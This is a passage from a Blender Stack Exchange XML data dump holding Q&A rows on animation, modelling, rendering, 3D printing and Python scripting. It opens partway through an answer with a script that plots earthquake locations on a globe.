flattening&#xA;    ls = atan((1 - f)**2 * tan(lat))  # lambda&#xA;    x = rad * cos(lat) * cos(lon) + alt * cos(lat) * cos(lon)&#xA;    y = rad * cos(lat) * sin(lon) + alt * cos(lat) * sin(lon)&#xA;    z = rad * sin(lat) + alt * sin(lat)&#xA;    return (x, y, z)&#xA;&#xA;# NB: no code has executed yet, we're just setting up functions we use further down&#xA;&#xA;# read in the CSV file containing quake data&#xA;file = csv.reader(open('\\Users\mcsweend2c\Desktop\Bearthquakes 6-9.csv', newline=''), delimiter=',')&#xA;&#xA;# make a blank dict variable to put quake data into&#xA;quakes = {}&#xA;&#xA;# iterate through the CSV row by row and pull the data into variables&#xA;# then put the variables into a tuple and use a corrected date as the dict key&#xA;# see the last line of the for block for data order&#xA;# NB: could have used a dict instead of a tuple&#xA;# would have meant looking up e.g. quakes[x]['scale'] instead of quakes[x][0]&#xA;for idx, (scale, date, lat, lon) in enumerate(file):&#xA;    (yd, m, dy) = date.split(&quot;/&quot;)&#xA;    if int(yd) &amp;gt; int(dy):&#xA;        year = yd&#xA;        day = dy&#xA;    else:&#xA;        year = dy&#xA;        day = yd&#xA;    key = &quot;{}-{:02g}-{:02g}&quot;.format( year, int(m), int(day) )&#xA;    quakes[key] = (scale, lat, lon)&#xA;&#xA;# go through the sorted dates in the quakes dict&#xA;# get latitude and longitude and turn into x/y/z coords with latlonger function&#xA;# then send x/y/z coordinates to makeathing function to create them in 3D space&#xA;for k in sorted(quakes.keys()):&#xA;    latitude = float(quakes[k][1])&#xA;    longitude = float(quakes[k][2])&#xA;    coords = latlonger(latitude, longitude)&#xA;    makeathing(coords, quakes[k][0], latitude, longitude, k)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to offset the X of the world map texture to align the letters to their correct positions on the globe, e.g. using &lt;a href=&quot;http://eoimages.gsfc.nasa.gov/images/imagerecords/73000/73963/gebco_08_rev_bath_3600x1800_color.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this texture map&lt;/a&gt; I had to offset X by 0.25.&lt;/p&gt;&#xA;" OwnerUserId="1219" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-09-08T08:32:26.907" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36844" PostTypeId="1" CreationDate="2015-09-01T06:29:29.680" Score="6" ViewCount="2652" Body="&lt;p&gt;I am trying to rotate the moons and Planets as they orbit their parent bodies. In a way that does not require the setting up of key frames –  jwktrucker&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You guys have been very helpful and Thanks to all of you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/23311/cyclic-orbit-animation&quot;&gt;Cyclic orbit animation&lt;/a&gt;&quot; you showed me how to get an object to orbit another so using the follow path method how can I make the object rotate on its own axis as it orbits the other object. This project is to complex to clutter with key frames so if you can &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and the orbit speed and rotation speeds of objects will not be related to each other &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object 1 &quot;Sun&quot; stationary&lt;br&gt;&#xA;Object 2 &quot;Planet 1&quot; orbits sun at 300 frames rotates in 26 frames&lt;br&gt;&#xA;Object 3 &quot;Moon 1&quot; orbits planet 1 at 100 frames rotates in 15 frames&lt;/p&gt;&#xA;&#xA;&lt;p&gt;above is Just an example of project requirements The system I am building has 37 objects in it one of witch is an Asteroid Belt &lt;/p&gt;&#xA;" OwnerUserId="16825" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2017-06-10T14:03:00.200" Title="rotate an object while it follows a path" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36845" PostTypeId="1" CreationDate="2015-09-01T07:22:33.673" Score="1" ViewCount="4560" Body="&lt;p&gt;Is there a way to control curves with bones? I already know the AnimAll addon and the Hook modifier, but I'd like to have IK-FK control on some 2D curves objects.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-09-01T08:46:21.697" Title="control curves with bones" Tags="&lt;animation&gt;&lt;bones&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36846" PostTypeId="2" ParentId="36844" CreationDate="2015-09-01T08:06:46.050" Score="7" Body="&lt;p&gt;One way to do this is with an empty following the orbit. This way you can parent an object to the empty and rotate it independently:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty and make it follow a path (e.g. with the &lt;em&gt;Follow Path&lt;/em&gt; constraint). Clicking &lt;em&gt;Animate Patch&lt;/em&gt; will automatically add an fcurve modifier which endlessly moves the empty along the path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OC73h.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OC73h.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control the orbit speed, set the total number of frames required for an orbit by adjusting the &lt;em&gt;Frames&lt;/em&gt; value in &lt;em&gt;Properties &gt; Object data &gt; Path Animation&lt;/em&gt; with the curve selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DM7TZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DM7TZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent your object to the empty (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cQ5eH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQ5eH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the object's transforms will be relative to the empty. You can rotate the empty to tilt the object's axis of rotation if you like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the planet object spin. To do this, insert a keyframe on the Z rotation of the object (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt; &lt;em&gt;&gt; Insert single keyframe&lt;/em&gt;). You'll only need this one keyframe. &lt;em&gt;You could use &lt;a href=&quot;http://blender.org/manual/animation/basics/drivers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;drivers&lt;/a&gt; instead, however that may &lt;a href=&quot;https://blender.stackexchange.com/q/7673/599&quot;&gt;cause issues&lt;/a&gt; if you plan on using a renderfarm such as &lt;a href=&quot;https://www.sheepit-renderfarm.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;sheepit&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://blender.org/manual/animation/editors/graph.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;graph editor&lt;/a&gt;, add a &lt;em&gt;Generator&lt;/em&gt; fcurve modifier. Note that internally blender stores rotations as radians, so to make the planet rotate once every 26 frames, you'll want the X multiplier to be &lt;code&gt;6.28318531/26&lt;/code&gt; (&lt;code&gt;6.28318531&lt;/code&gt; radians = &lt;code&gt;360°&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bmMY5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmMY5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jo1Yd.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jo1Yd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/452/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=452&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-09-01T08:06:46.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36848" PostTypeId="2" ParentId="36845" CreationDate="2015-09-01T08:46:21.697" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;For each curve control point create a bone (separate not parented) and hook those vertexes to bones.&lt;/li&gt;&#xA;&lt;li&gt;Now you can totally control the curve with armature.&lt;/li&gt;&#xA;&lt;li&gt;Next you want to connect the bones with &lt;em&gt;Child_Ofs&lt;/em&gt; constraints to link them into a chain.&lt;/li&gt;&#xA;&lt;li&gt;When the &lt;em&gt;Child_Ofs&lt;/em&gt; influences are at 1.0 you have FK control, when they are at 0.0 you have IK control (this setup is called FIK - forward inverse kinematic).&lt;/li&gt;&#xA;&lt;li&gt;You can drive the influences with custom properties so it is accessible from the &lt;em&gt;Properties panel&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-09-01T08:46:21.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36850" PostTypeId="1" AcceptedAnswerId="36865" CreationDate="2015-09-01T09:45:22.870" Score="4" ViewCount="3390" Body="&lt;p&gt;I'm trying to draw an object that has a lot of tubes of different heights. Those tubes are all exactly the same, with a hole on one side at the bottom. &#xA;The holes of all the tubes should be exactly the same, and only the height of the tube change from one to another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tube looks about like that:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2QsEr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2QsEr.png&quot; alt=&quot;A poorly drawn version of the tube&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the question, since all the tubes are the same, I'd like to have them linked, so that if, in the future, I'm modifying something on one, it affects the others. But, if I do &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; and try to scale the tube, the hole at the bottom gets elongated, which is something I don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there a way to &quot;fix&quot; the size of the hole, and having the scale change the height of the tube, without deforming the hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: To make it a bit clearer, a very important point is that I want a linked-copy of the tubes. I want that if I change something in the tube, for example the shape of the hole, this change affects all the tubes. The only difference that the tubes will have will be their height (above the hole).&lt;/p&gt;&#xA;" OwnerUserId="15571" LastEditorUserId="15571" LastEditDate="2015-09-01T12:15:38.480" LastActivityDate="2015-09-13T09:26:22.633" Title="Lock part of an object so that it doesn't scale" Tags="&lt;modeling&gt;&lt;linked-data&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36851" PostTypeId="2" ParentId="36759" CreationDate="2015-09-01T10:30:00.390" Score="1" Body="&lt;p&gt;okay i solved the issue. i deselect vertex groups of eyes in armature section at modifier tab. know eyes move as they should be. maybe this helps others who struggle with same problem. &lt;/p&gt;&#xA;" OwnerUserId="16475" LastActivityDate="2015-09-01T10:30:00.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36852" PostTypeId="1" AcceptedAnswerId="36855" CreationDate="2015-09-01T10:31:10.653" Score="2" ViewCount="3183" Body="&lt;p&gt;I need to render a cubemap from a Blender scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct way to do it?:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set camera FOV to 90.&#xA;Have one camera facing up, one down, left, right, front , back.&#xA;Is that all to achieve a proper seamless cubemap?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how then?&lt;/p&gt;&#xA;" OwnerUserId="16748" LastEditorUserId="241" LastEditDate="2015-09-02T12:52:56.367" LastActivityDate="2015-09-02T12:52:56.367" Title="How can I render a cubemap with Blender Internal?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36853" PostTypeId="1" CreationDate="2015-09-01T10:58:18.023" Score="1" ViewCount="179" Body="&lt;p&gt;How to set dynamics on the surface with some texure ?&lt;br&gt;&#xA;1) How control the glare on this surface? (&lt;em&gt;but not overall scene&lt;/em&gt;). &lt;em&gt;If I set glare  node in compositor it affects whole scene.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) How to set this moving/dynamics with  distortion noise/musgrave/magic texture ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want  to create this similar effect:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=e-BLfThM3JE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=e-BLfThM3JE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gzyi4.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gzyi4.jpg&quot; alt=&quot;Mass effect 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TAWKA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TAWKA.jpg&quot; alt=&quot;ME3 particle effect&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nKdfn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKdfn.jpg&quot; alt=&quot;ME3_3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this images are involved particle effects also. I know how to make it, I just need this dynamics on sphere. This transparent sphere  is not static, it scales to some value and some distortion noise is moving along them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've made:&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/13451287/masseffectsurface.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/13451287/masseffectsurface.blend&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/daocs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/daocs.png&quot; alt=&quot;Blender surface&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15873" LastEditorUserId="15873" LastEditDate="2015-09-01T17:56:26.643" LastActivityDate="2015-09-01T17:56:26.643" Title="Dynamics on surfaces in Blender render as in Unreal engine" Tags="&lt;animation&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;compositor&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36854" PostTypeId="2" ParentId="36850" CreationDate="2015-09-01T11:10:08.083" Score="3" Body="&lt;p&gt;You could use shape keys for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode go to the properties panel, then go to data object data and open the shapekeys tab.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the &quot;+&quot; button, to get the basis key. &lt;/li&gt;&#xA;&lt;li&gt;Click on the &quot;+&quot; button again to add another shapekey (key1). &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Go to edit mode select the top vertices and move them to the maximum height your tube can get (for example 50) so &lt;kbd&gt;G&lt;/kbd&gt; 50. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go back to object mode. The object jumps to the base object. Under the tab shapekeys Key1 selected, slide the value slider. You can copy the object with &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;D&lt;/kbd&gt;, and change the height with the valueslider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/M2uMJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M2uMJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/453/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=453&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-09-13T09:26:22.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36855" PostTypeId="2" ParentId="36852" CreationDate="2015-09-01T11:11:29.593" Score="1" Body="&lt;p&gt;Regardless of which render engine you use, the process is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been explained well &lt;a href=&quot;https://github.com/Senscape/Dagon/wiki/Using-Blender-to-make-cube-maps&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I find rendering a single-image equirectangular environment map to be easier, but I understand you may have specific reasons for needing a cube map.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2015-09-01T11:11:29.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36856" PostTypeId="1" CreationDate="2015-09-01T11:17:26.350" Score="4" ViewCount="285" Body="&lt;p&gt;I have a 3D printer with 0.3mm and 0.8mm nozzles, and I am trying to figure out the optimal line widths for extruding some line art.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Workflow&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I create the vector graphics in Illustrator, expand strokes and group everything as a Compound Path: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/38807092/Slice%20test/Slice-test.svg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Slice-test.svg&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Blender I import the SVG, go to Properties panel &gt; Curves, extrude to approx. 2mm height, then convert to mesh: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/38807092/Slice%20test/Slice-test.stl&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Slice-test.stl&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;I take the exported STL and slice it with Slic3r, 0.3mm nozzle diameter: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/38807092/Slice%20test/Slice-test.gcode&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Slice-test.gcode&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Results&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The first layer comes out wrong:&#xA;&lt;a href=&quot;http://gcode.ws/&quot; rel=&quot;nofollow&quot; title=&quot;Preview from gcode.ws&quot;&gt;&lt;img src=&quot;https://imgrush.com/8bTf7gkQHdwI.png&quot; alt=&quot;First layer of Slice-test.gcode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here. Is there something wrong with the model? I'm trying to figure out the best thickness and angle sharpness so that I can produce a bunch of extruded line art for making molds. I'm trying to avoid interrupted perimeters and fingernail-looking things at corners:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgrush.com/qlqHADyAtpmB&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;https://imgrush.com/qlqHADyAtpmB.jpg&quot; alt=&quot;Fingernail corners&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also my workflow seems kinda slow for such a basic task. As a noob to Blender and total noob to Python scripting where can I learn about automating the part with the &lt;strong&gt;SVG import &gt; Constant thickness extrude &gt; Mesh &gt; STL&lt;/strong&gt;, so I can focus on the line art?&lt;/p&gt;&#xA;" OwnerUserId="16366" LastActivityDate="2017-08-02T23:10:27.453" Title="Models for 3D printing are sliced wrong, can't figure out optimal thickness" Tags="&lt;mesh&gt;&lt;workflow&gt;&lt;bezier-curves&gt;&lt;import&gt;&lt;3d-printing&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36857" PostTypeId="2" ParentId="14918" CreationDate="2015-09-01T11:39:18.750" Score="8" Body="&lt;p&gt;Yes, Python can make a popup menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The options are either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a popup &lt;em&gt;on the fly&lt;/em&gt;. using &lt;code&gt;bpy.context.window_manager.popup_menu&lt;/code&gt;&lt;br&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.WindowManager.html#bpy.types.WindowManager.popup_menu&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.WindowManager.html#bpy.types.WindowManager.popup_menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Define a menu subclass of &lt;code&gt;bpy.types.Menu&lt;/code&gt;, then call it. see:&lt;br&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.Menu.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.Menu.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both of the links above include examples.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Regarding &lt;em&gt;&quot;How to get the result of the selection&quot;&lt;/em&gt;, The way Blender works, menu items reference operators. So you would need to define an operator which is referenced from the menu.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-09-02T03:07:49.997" LastActivityDate="2015-09-02T03:07:49.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36858" PostTypeId="1" CreationDate="2015-09-01T13:12:12.003" Score="2" ViewCount="307" Body="&lt;p&gt;I have done a camera track and saved the file.  In a new file I have created a model.  I want to append (or whatever) the camera move from the first to the second file and can't find the way.  I have tried appending and from object brought in the camera but it doesn't move in the second file.  Can anyone tell me how to accomplish this?  Thanks&lt;/p&gt;&#xA;" OwnerUserId="5799" LastEditorDisplayName="user1853" LastEditDate="2015-09-01T20:48:35.650" LastActivityDate="2015-09-01T20:48:35.650" Title="Append Camera Tracking to a new file" Tags="&lt;camera&gt;&lt;tracking&gt;&lt;append&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36859" PostTypeId="2" ParentId="36783" CreationDate="2015-09-01T13:25:09.020" Score="12" Body="&lt;p&gt;The .PLY importer makes a Vertex Color Layer, if you switch to it you will see the colours.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y6Pbz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y6Pbz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as a cycles material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eWk7M.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eWk7M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-09-01T13:31:12.160" LastActivityDate="2015-09-01T13:31:12.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36860" PostTypeId="2" ParentId="36850" CreationDate="2015-09-01T13:36:29.593" Score="2" Body="&lt;p&gt;Short answer: no. Scaling and instancing do not work that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve what you want, use different objects with an Array modifier that has a Start Cap object set. The Start Cap is instanced to whatever object is using it - if you change the shape of the hole in the Start Cap object, the change will propagate to all the other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you can control the length of each cylinder using the Count parameter in the array modifier - it's not exactly scaling, but the flatter you make the slice of cylinder (box in my example), the finer the control you get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vMvYF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vMvYF.png&quot; alt=&quot;Array modifier and Start Cap in action&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to instance the mesh across the different objects as well as the Start Cap, you can go to the Data tab (looks like an inverse triangle) and set the mesh datablock to be the same for all your objects too. (This is glitching out for me however.)&lt;/p&gt;&#xA;" OwnerUserId="1219" LastEditorUserId="1219" LastEditDate="2015-09-01T13:44:51.057" LastActivityDate="2015-09-01T13:44:51.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36861" PostTypeId="1" CreationDate="2015-09-01T13:57:19.023" Score="5" ViewCount="315" Body="&lt;p&gt;I want to create a (non-realistic) 3D representation of a true nautical environment (e.g. a harbor). I get a real-time stream of data for each ship in the harbor, containing position, size, speed, direction etc. over a tcp/ip interface. (For each vessel, I get an update every 3 seconds. Potentially there are hundreds of ships in the harbor.) Each ship can be represented e.g. by a simple box with the right dimensions floating in a blue plane representing the water. Then I want to put a number of virtual cameras in this virtual harbor, and output a video stream (h.264 over tcp/ip multicast) for each virtual camera at e.g. 10fps. These cameras are at a fixed position, but I need to be able to change pan/tilt/zoom from an external (tcp/ip) interface. All this needs to be done in real-time... Would Blend be the right tool to accomplish something like this? What would be a good approach to make something like this? Or do you have suggestions for other tooling that may be more suitable?&lt;/p&gt;&#xA;" OwnerUserId="16830" LastEditorUserId="2217" LastEditDate="2015-09-01T15:31:09.797" LastActivityDate="2015-09-01T16:57:10.140" Title="Is blender the right tool for my simulated 3D environment?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36862" PostTypeId="1" CreationDate="2015-09-01T13:57:24.157" Score="8" ViewCount="2909" Body="&lt;p&gt;I'm editing 2D Bezier curves and I need a way to make a second curve that would outline existing curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For mesh shapes it could be easily done with &lt;a href=&quot;https://blender.stackexchange.com/questions/1088/is-there-a-way-to-offset-an-edge-extrude-edge-loop-perpendicular-to-each-edge/1092#1092&quot;&gt;SIRE outline&lt;/a&gt; or &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/offset_edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;offset edges&lt;/a&gt; plugins, but is it possible with Curves? Is duplicating the whole curve and manually adjusting every point the only solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not in Blender, then maybe in another software like Inkscape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yqn03.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yqn03.jpg&quot; alt=&quot;bezier outline&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2016-08-30T12:00:35.890" Title="Outline Bezier curve in 2D mode" Tags="&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36863" PostTypeId="1" CreationDate="2015-09-01T16:22:48.220" Score="10" ViewCount="1374" Body="&lt;p&gt;I was wondering if changing the f-stop in cycles effects the brightness as in the real world like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OeGOE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15331" LastEditorUserId="13588" LastEditDate="2015-09-02T07:11:36.660" LastActivityDate="2015-09-20T18:38:24.857" Title="Does Cycles f-stop effect the brightness of the render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
